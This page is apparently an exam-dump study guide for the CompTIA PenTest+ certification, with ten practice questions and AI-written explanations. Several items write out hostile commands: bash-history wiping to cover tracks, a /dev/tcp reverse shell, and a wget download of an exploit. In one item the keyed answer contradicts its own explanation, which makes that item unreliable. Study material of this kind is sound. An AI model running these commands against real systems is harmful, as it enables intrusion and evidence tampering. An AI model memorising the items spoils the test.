[CompTIA] PT0-002 - Pentest+ Exam Dumps & Study Guide
# Complete Study Guide for the CompTIA PenTest+ (PT0-002) Exam
The CompTIA PenTest+ is an intermediate-level certification designed to validate the knowledge and skills of IT professionals in conducting authorized penetration tests and security assessments across diverse environments. Whether you are a security analyst, a penetration tester, or a technical lead, this certification proves your ability to identify and exploit security vulnerabilities.
## Why Pursue the CompTIA PenTest+ Certification?
In an era of increasing cyber threats, organizations need highly skilled professionals to identify and protect their data and systems. Earning the PenTest+ badge demonstrates that you:
- Can conduct authorized penetration tests and security assessments across diverse environments.
- Understand the technical aspects of penetration testing and how to apply them to identify potential threats.
- Can analyze security risks and develop mitigation strategies for penetration tests.
- Understand the legal and regulatory requirements for data security and privacy in penetration testing.
- Can provide technical guidance on penetration testing-related projects.
## Exam Overview
The CompTIA PenTest+ (PT0-002) exam consists of multiple-choice and performance-based questions. You are given 165 minutes to complete the exam, and the passing score is typically 750 out of 900.
### Key Domains Covered:
1. **Planning and Scoping (14%):** This domain focuses on your ability to plan and scope authorized penetration tests. You'll need to understand different penetration testing models and how to design for high availability and reliability.
2. **Information Gathering and Vulnerability Identification (22%):** Here, the focus is on the technical implementation and management of information gathering and vulnerability identification. You must understand reconnaissance, scanning, and identification.
3. **Attacks and Exploits (30%):** This section covers your knowledge of attack techniques and exploit tools. You'll need to know how to install and configure various exploit tools.
4. **Reporting and Communication (18%):** This domain tests your ability to report and communicate penetration testing findings to various stakeholders. You must understand different types of documentation and how to follow them.
5. **Tools and Analysis (16%):** This domain focuses on your ability to use various tools and analysis techniques for penetration tests. You must be proficient with various penetration testing tools and techniques.
## Top Resources for PenTest+ Preparation
Successfully passing the PenTest+ requires a mix of theoretical knowledge and hands-on experience. Here are some of the best resources:
- **Official CompTIA Training:** CompTIA offers specialized digital and classroom training specifically for the PenTest+ certification.
- **PenTest+ Study Guide:** The official study guide provides a comprehensive overview of all the exam domains.
- **Hands-on Practice:** There is no substitute for conducting penetration tests. Set up your own home lab and experiment with different penetration testing architectures and tools.
- **Practice Exams:** High-quality practice questions are essential for understanding the intermediate-level exam format. Many candidates recommend using resources like [notjustexam.com](https://notjustexam.com) for their realistic and challenging exam simulations.
## Critical Topics to Master
To excel in the PenTest+, you should focus your studies on these high-impact areas:
- **Penetration Testing Infrastructure and Management:** Master the nuances of designing and conducting secure penetration tests across diverse environments.
- **Information Gathering and Vulnerability Identification:** Understand different information gathering and vulnerability identification techniques and tools.
- **Attacks and Exploits Techniques:** Master the principles of attack techniques and exploit tools and how to use them for penetration tests.
- **Reporting and Communication:** Know how to report and communicate penetration testing findings to various stakeholders.
- **Penetration Testing Security and Compliance:** Understand the security and compliance requirements for penetration testing and privacy.
## Exam Day Strategy
1. **Pace Yourself:** With 165 minutes for the exam, you have ample time. If a question is too complex, flag it and move on.
2. **Read the Scenarios Carefully:** Intermediate-level questions are often scenario-based. Pay attention to keywords like "most likely," "least likely," and "best way."
3. **Use the Process of Elimination:** If you aren't sure of the right choice, eliminating the wrong ones significantly increases your chances.
## Conclusion
The CompTIA PenTest+ (PT0-002) is a significant investment in your career. It requires dedication and a deep understanding of penetration testing principles and technical skills. By following a structured study plan, leveraging high-quality practice exams from [notjustexam.com](https://notjustexam.com), and gaining hands-on experience, you can master the complexities of penetration testing and join the elite group of certified penetration testers.
Free [CompTIA] PT0-002 - Pentest+ Practice Questions Preview
-
Question 1
Which of the following commands will allow a penetration tester to permit a shell script to be executed by the file owner?
- A. chmod u+x script.sh
- B. chmod u+e script.sh
- C. chmod o+e script.sh
- D. chmod o+x script.sh
Correct Answer:
A
Explanation:
The suggested answer A is correct.
Reasoning: The command `chmod u+x script.sh` is the correct command to allow a penetration tester to permit a shell script to be executed by the file owner.
- `chmod` stands for "change mode" and is used to modify the permissions of a file or directory.
- `u` refers to the user (owner) of the file.
- `+x` adds execute permission.
- Therefore, `chmod u+x script.sh` adds execute permission to the owner of the `script.sh` file.
Why other options are incorrect:
- `chmod u+e script.sh`: The `e` option is not a valid permission option with `chmod`.
- `chmod o+e script.sh`: Similar to the above, `e` is not a valid permission option. Also, `o` refers to "others," not the owner.
- `chmod o+x script.sh`: This command grants execute permission to "others" (users who are neither the owner nor in the file's group), not the owner.
In summary, the command `chmod u+x script.sh` specifically grants execute permissions to the file owner, fulfilling the requirement of the question.
Citations:
- chmod - Wikipedia, https://en.wikipedia.org/wiki/Chmod
- How to Use the chmod Command (chmod Examples), https://www.hostinger.com/tutorials/chmod-command-examples
-
Question 2
A penetration tester gains access to a system and establishes persistence, and then run the following commands:

Which of the following actions is the tester MOST likely performing?
- A. Redirecting Bash history to /dev/null
- B. Making a copy of the user's Bash history to further enumeration
- C. Covering tracks by clearing the Bash history
- D. Making decoy files on the system to confuse incident responders
Correct Answer:
C
Explanation:
The AI assistant agrees with the suggested answer, which is C. Covering tracks by clearing the Bash history.
Reasoning: The provided commands are specifically designed to clear the Bash history file in a way that preserves its original timestamp. This is a common technique used by penetration testers or attackers to cover their tracks and hinder forensic analysis.
cat /dev/null > temp: This command creates an empty file named "temp". It redirects the output of /dev/null (a null device that produces no output) to a file named "temp", effectively creating an empty file.
touch -r .bash_history temp: The touch command with the -r option is used to set the timestamp of the "temp" file to match the timestamp of the .bash_history file. This is important for maintaining the appearance that the history file hasn't been modified recently.
mv temp .bash_history: This command replaces the original .bash_history file with the empty "temp" file. Because the "temp" file has the same timestamp as the original, this action effectively clears the history without altering the file's metadata in a way that would immediately raise suspicion.
By executing these commands, the penetration tester removes any record of their actions from the Bash history, making it more difficult for incident responders to determine what they did on the system.
Reasons for not choosing the other options:
- A. Redirecting Bash history to /dev/null: While related, this is not what the specific commands are doing. The commands are clearing the history file itself, not redirecting new history entries to /dev/null.
- B. Making a copy of the user's Bash history to further enumeration: The commands are not creating a copy of the history; they are replacing it with an empty file.
- D. Making decoy files on the system to confuse incident responders: Although penetration testers might sometimes create decoy files, these commands do not accomplish that. Their sole purpose is to clear the Bash history.
-
Question 3
A compliance-based penetration test is primarily concerned with:
- A. obtaining PII from the protected network.
- B. bypassing protection on edge devices.
- C. determining the efficacy of a specific set of security standards.
- D. obtaining specific information from the protected network.
Correct Answer:
C
Explanation:
The AI agrees with the suggested answer of C: determining the efficacy of a specific set of security standards.
Reasoning: A compliance-based penetration test is designed to assess whether an organization adheres to specific regulatory or industry standards. Its primary goal is to determine if the existing security controls and practices effectively meet the requirements outlined in those standards. This involves evaluating the efficacy of security measures in place and identifying any gaps or vulnerabilities that could lead to non-compliance.
Why other options are incorrect:
- A: Obtaining PII from the protected network is a goal of a malicious attacker, and while a penetration test might involve attempting to access PII to demonstrate a vulnerability, it is not the *primary* concern of a compliance-based test. The focus is on whether the controls to protect PII are adequate.
- B: Bypassing protection on edge devices, while potentially part of a penetration test, is not the central aim of a compliance-based assessment. Compliance tests are broader and look at overall adherence to standards, not just edge devices.
- D: Obtaining specific information from the protected network suffers from the same issue as option A. While information gathering can occur during a penetration test, a compliance test is centered on the adherence to standards.
Citations:
-
Question 4
A penetration tester is explaining the MITRE ATT&CK framework to a company's chief legal counsel.
Which of the following would the tester MOST likely describe as a benefit of the framework?
- A. Understanding the tactics of a security intrusion can help disrupt them.
- B. Scripts that are part of the framework can be imported directly into SIEM tools.
- C. The methodology can be used to estimate the cost of an incident better.
- D. The framework is static and ensures stability of a security program over time.
Correct Answer:
A
Explanation:
The AI agrees with the suggested answer of A.
Reasoning: The MITRE ATT&CK framework is a knowledge base of adversary tactics and techniques based on real-world observations. The primary benefit of understanding these tactics is to improve an organization's ability to detect, prevent, and respond to intrusions effectively, thereby disrupting them. By understanding the attacker's methods, defenders can implement targeted security measures.
Reasons for not choosing other options:
- B: Scripts that are part of the framework can be imported directly into SIEM tools. While the ATT&CK framework can be integrated with SIEM tools, it doesn't provide scripts for direct import. Instead, it offers a structured way to understand and correlate security events within the SIEM.
- C: The methodology can be used to estimate the cost of an incident better. While understanding attacker tactics can indirectly help in estimating incident costs, the framework's primary focus is not cost estimation.
- D: The framework is static and ensures stability of a security program over time. The MITRE ATT&CK framework is regularly updated to reflect new and evolving attacker tactics, so it is not static. Its dynamic nature ensures the security program remains relevant.
- Citations:
- MITRE ATT&CK Framework, https://attack.mitre.org/
-
Question 5
Which of the following BEST describe the OWASP Top 10? (Choose two.)
- A. The most critical risks of web applications
- B. A list of all the risks of web applications
- C. The risks defined in order of importance
- D. A web-application security standard
- E. A risk-governance and compliance framework
- F. A checklist of Apache vulnerabilities
Correct Answer:
AC
Explanation:
The AI assistant agrees with the suggested answer of AC.
Reasoning:
- The OWASP Top 10 is specifically designed to highlight the most critical risks facing web applications. It's not an exhaustive list of all risks, but rather a focused set of the most prevalent and dangerous ones.
- The OWASP Top 10 presents these risks in order of importance, based on factors such as prevalence, exploitability, detectability, and technical impact. This prioritization helps organizations focus their security efforts on the areas that pose the greatest threat.
Reasons for excluding other options:
- B: A list of all the risks of web applications - The OWASP Top 10 is not exhaustive. It focuses on the most critical risks, not every conceivable risk.
- D: A web-application security standard - While the OWASP Top 10 can inform security standards, it is not a standard in itself like PCI DSS or ISO 27001.
- E: A risk-governance and compliance framework - The OWASP Top 10 provides guidance for web application security but it doesn't represent a full risk-governance and compliance framework.
- F: A checklist of Apache vulnerabilities - The OWASP Top 10 is not specific to Apache web servers, and it addresses broader web application security risks, not just specific vulnerabilities.
In summary, the OWASP Top 10 identifies and ranks the most critical web application security risks, making options A and C the most accurate descriptions.
Citations:
- OWASP Top Ten, https://owasp.org/www-project-top-ten/
-
Question 6
A penetration tester discovered a vulnerability that provides the ability to upload to a path via discovery traversal. Some of the files that were discovered through this vulnerability are:

Which of the following is the BEST method to help an attacker gain internal access to the affected machine?
- A. Edit the discovered file with one line of code for remote callback.
- B. Download .pl files and look for usernames and passwords.
- C. Edit the smb.conf file and upload it to the server.
- D. Download the smb.conf file and look at configurations.
Correct Answer:
A
Explanation:
After analyzing the question and discussion, the AI recommends against the suggested answer A and instead suggests answer C: Edit the smb.conf file and upload it to the server.
Reasoning:
The question describes a vulnerability that allows uploading files via path traversal. The goal is to gain internal access to the affected machine. The most direct and effective method to achieve this would be to modify the server's configuration files to allow unauthorized access. The `smb.conf` file is a configuration file for Samba, which is used for file and printer sharing on Linux systems. Modifying this file can directly impact access control and potentially allow an attacker to gain unauthorized access.
Option A suggests editing a discovered file with a remote callback. While this might work, it's less reliable and dependent on the specific file and how it's used. It also may not grant persistent access.
Option B suggests downloading .pl files and looking for usernames and passwords. While this might uncover credentials, it is a long shot and less likely to provide immediate access than modifying the configuration file.
Option D suggests downloading the `smb.conf` file and examining the configurations. This is a good reconnaissance step, but it doesn't directly grant access. Modifying and uploading the `smb.conf` file allows for active exploitation. Therefore, option C is the most effective method for gaining internal access in this scenario.
Reasons for not choosing the other options:
- Option A: Editing a discovered file for remote callback is less reliable and may not provide persistent access. It's also dependent on the specific file discovered.
- Option B: Downloading .pl files and looking for credentials is a lower probability activity compared to directly exploiting a server configuration file.
- Option D: Downloading and examining the smb.conf file is a reconnaissance activity and doesn't provide immediate or direct access.
-
Question 7
A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data.
Which of the following should the tester verify FIRST to assess this risk?
- A. Whether sensitive client data is publicly accessible
- B. Whether the connection between the cloud and the client is secure
- C. Whether the client's employees are trained properly to use the platform
- D. Whether the cloud applications were developed using a secure SDLC
Correct Answer:
A
Explanation:
The AI agrees with the suggested answer, which is option A: "Whether sensitive client data is publicly accessible."
Reasoning: The question explicitly asks what the tester should verify *FIRST* to assess the risk to hosted data. If sensitive client data is publicly accessible, it represents the most immediate and critical risk. Discovering this vulnerability first allows for immediate action to mitigate the exposure and prevent potential data breaches. This aligns with the principle of addressing the most critical risks first.
Why other options are less suitable:
- B. Whether the connection between the cloud and the client is secure: While important for overall security, this is a secondary concern *after* ensuring data isn't already publicly exposed. A secure connection doesn't matter if the data is already accessible without authentication.
- C. Whether the client's employees are trained properly to use the platform: Employee training is important for long-term security posture, but it is not the immediate concern when assessing the risk to already hosted data. Poor training might lead to future vulnerabilities, but it doesn't address the possibility of existing data exposure.
- D. Whether the cloud applications were developed using a secure SDLC: A secure SDLC is crucial for preventing vulnerabilities in the long run, but it doesn't directly address the current state of the hosted data. Knowing that applications were developed securely doesn't guarantee that data isn't currently exposed due to misconfiguration or other factors.
-
Question 8
A penetration tester ran the following command on a staging server: python -m SimpleHTTPServer 9891
Which of the following commands could be used to download a file named exploit to a target machine for execution?
- A. nc 10.10.51.50 9891 < exploit
- B. powershell -exec bypass -f \\10.10.51.50\9891
- C. bash -i >& /dev/tcp/10.10.51.50/9891 0&1/exploit
- D. wget 10.10.51.50:9891/exploit
Correct Answer:
D
Explanation:
The AI agrees with the suggested answer.
The recommended answer is D. wget 10.10.51.50:9891/exploit.
Reasoning: The command `python -m SimpleHTTPServer 9891` starts a basic HTTP server on port 9891 of the staging server. To download the file "exploit" from this server, the `wget` command is the most straightforward and appropriate choice.
`wget 10.10.51.50:9891/exploit` correctly retrieves the file "exploit" from the specified IP address and port using the HTTP protocol.
Reasons for Incorrect Answers:
- A. `nc 10.10.51.50 9891 < exploit`: This command attempts to send the contents of the local file "exploit" to the specified IP address and port using netcat, which is the opposite of downloading.
- B. `powershell -exec bypass -f \\10.10.51.50\9891`: This command tries to execute a file from a network share, but it doesn't specify the "exploit" file and it's not the correct syntax to download from the created HTTP server. Also, port number isn't part of the path.
- C. `bash -i >& /dev/tcp/10.10.51.50/9891 0&1/exploit`: This command attempts to create a reverse shell, not download a file, and the `/exploit` part is incorrectly placed.
-
Question 9
A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:

Which of the following commands should the penetration tester run post-engagement?
- A. grep -v apache ~/bash_history > ~/.bash_history
- B. rm -rf /tmp/apache
- C. chmod 600 /tmp/apache
- D. taskkill /IM ג€apacheג€ /F
Correct Answer:
B
Explanation:
The AI agrees with the suggested answer, which is B. rm -rf /tmp/apache.
Reasoning:
- The primary goal post-engagement is to revert any changes made during the penetration test and to ensure that no malicious files or backdoors are left behind.
- The code snippet shows the penetration tester downloading and executing a file named 'apache' in the /tmp directory. Removing this file completely is crucial to prevent any potential lingering risks.
- The command `rm -rf /tmp/apache` forcefully and recursively removes the 'apache' directory (or file) from the /tmp directory, ensuring complete removal.
Reasons for not choosing the other options:
- A. grep -v apache ~/bash_history > ~/.bash_history: This command attempts to remove lines containing "apache" from the bash history. While good for concealing commands, it doesn't remove the actual malicious file. It only cleans up the history, which is a less critical post-engagement step compared to removing the file itself.
- C. chmod 600 /tmp/apache: This command changes the permissions of the 'apache' file. It does not remove the file, and the malicious code could still potentially be executed if the file exists. Making the file unexecutable is not sufficient; complete removal is required.
- D. taskkill /IM apache /F: This command is a Windows command to terminate a process named "apache". The context of the code snippet suggests a Linux environment (due to the use of wget and chmod). Furthermore, simply terminating a process doesn't remove the underlying malicious file, which is the main concern.
The command `rm -rf /tmp/apache` is the most appropriate post-engagement action to ensure the system is returned to its original state and that no malicious files are left behind.
Citations:
- rm command - GeeksforGeeks, https://www.geeksforgeeks.org/rm-command-in-linux-with-examples/
- Penetration Testing Post Exploitation - Cybrary, https://www.cybrary.it/blog/0p3n/penetration-testing-post-exploitation/
-
Question 10
Which of the following is MOST important to include in the final report of a static application-security test that was written with a team of application developers as the intended audience?
- A. Executive summary of the penetration-testing methods used
- B. Bill of materials including supplies, subcontracts, and costs incurred during assessment
- C. Quantitative impact assessments given a successful software compromise
- D. Code context for instances of unsafe typecasting operations
Correct Answer:
D
Explanation:
The AI agrees with the suggested answer, D. Code context for instances of unsafe typecasting operations.
Reasoning: The question emphasizes the intended audience being application developers. For developers, the most important aspect of a static application security testing (SAST) report is actionable information they can use to fix vulnerabilities. Providing the code context for issues like unsafe typecasting directly enables developers to understand the problem, locate the vulnerable code, and implement a fix. This direct relevance makes it the most valuable information for this specific audience.
Reasons for not choosing the other answers:
- A. Executive summary of the penetration-testing methods used: This is more relevant for management or stakeholders who need a high-level overview but does not provide developers with the specific details they need to remediate vulnerabilities.
- B. Bill of materials including supplies, subcontracts, and costs incurred during assessment: This information is related to the administrative aspect of the testing, which is irrelevant to the developers' work of fixing the code.
- C. Quantitative impact assessments given a successful software compromise: While important for risk assessment and prioritization, this information doesn't directly aid developers in fixing the code.
Citations:
- Static Application Security Testing (SAST): https://owasp.org/www-community/Source_Code_Analysis_Tools